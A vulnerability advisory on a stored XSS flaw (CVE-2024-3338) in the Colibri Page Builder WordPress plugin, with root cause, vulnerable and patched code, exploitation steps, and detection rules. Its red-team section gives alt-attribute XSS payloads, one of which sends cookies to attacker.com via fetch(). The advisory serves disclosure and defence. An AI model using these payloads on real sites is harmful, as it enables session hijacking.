CVE-2024-3338

Executive Summary

CVE-2024-3338 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.262. The flaw resides in insufficient sanitization of the image alt data parameter, allowing authenticated attackers with author-level access or higher to inject arbitrary web scripts. When a user visits a page containing the maliciously crafted image, the injected script executes in their browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is within the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access but the ease of exploitation once obtained. The impact is limited to data theft and content manipulation.

Deep Dive & Mechanics

The vulnerability exists in the Colibri Page Builder's handling of image alt attributes. When an authenticated user with author-level privileges inserts an image into a page or post, the plugin stores the alt text without proper sanitization. The stored data is later rendered in the frontend without adequate output escaping, allowing an attacker to inject JavaScript or HTML.

Root Cause: The plugin fails to apply WordPress's built-in escaping functions (e.g., esc_attr(), esc_html()) to the alt parameter before storing it in the database and rendering it on the page.

Attack Flow:

1. Attacker logs in with author-level credentials.
2. Attacker creates or edits a page/post and adds an image block.
3. Attacker sets the image alt attribute to a malicious payload, e.g., <img src=x onerror=alert('XSS')>.
4. The plugin stores the payload in the database.
5. When any user (including admins) visits the page, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Colibri Page Builder <= 1.0.262):

// In a function that processes image attributes
$alt = $_POST['alt']; // No sanitization
// Later, when rendering
echo '<img alt="' . $alt . '" src="...">'; // No escaping

Patched Code (Hypothetical fix):

// Sanitize and escape the alt attribute
$alt = sanitize_text_field( $_POST['alt'] );
// When rendering
echo '<img alt="' . esc_attr( $alt ) . '" src="...">';

The fix requires using sanitize_text_field() on input and esc_attr() on output to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Colibri Page Builder <= 1.0.262
• Author-level account credentials

Steps:

1. Log in to WordPress as an author.
2. Create a new page or edit an existing one.
3. Add an image block using the Colibri builder.
4. In the image settings, set the alt attribute to:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the page.
6. When any user visits the page, the JavaScript executes.

Alternative Payload (Session Hijacking):

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual alt attribute values in page/post content.
• Look for patterns like onerror=, onload=, or <script> tags in image metadata.
• Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests.

Prevention:

• Apply the principle of least privilege: restrict author-level users from using the Colibri builder if not needed.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Regularly update plugins and apply patches when available.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Modified page/post content containing suspicious alt attributes.
  • Log entries showing POST requests to /wp-admin/admin-ajax.php with malicious alt parameters.

• Network-based IOCs:

  • Outbound connections to attacker-controlled domains from compromised WordPress instances.
  • HTTP requests containing XSS payloads in the alt parameter.

• Behavioral IOCs:

  • Unexpected JavaScript execution on WordPress pages.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_3338_Colibri_XSS {
    meta:
        description = "Detects stored XSS payloads in Colibri Page Builder alt attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3338"
    strings:
        $xss_payload = /<img[^>]+onerror\s*=\s*["']?[^"']*["']?[^>]*>/i
        $alt_field = /alt\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload and $alt_field
}

Sigma Rule

title: CVE-2024-3338 Colibri Page Builder Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via image alt attribute in Colibri Page Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: '*action=colibri*'
        cs-User-Agent: '*'
        cs-Referer: '*wp-admin*'
        cs-body: '*alt*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in alt text
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3338 Colibri Page Builder Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=colibri"; http_client_body; content:"alt"; http_client_body; pcre:"/<img[^>]+onerror\s*=\s*["']?[^"']*["']?[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Colibri Page Builder plugin until a patch is available.
2. Restrict author-level users from using the plugin by modifying capabilities.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.

Long-term Fix:

• Apply the vendor's patch when released (currently UNKNOWN).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually sanitize the alt attribute by adding a custom filter in functions.php:

  add_filter( 'colibri_image_alt', 'sanitize_text_field' );
  

Valters IT
Securing Digital Frontiers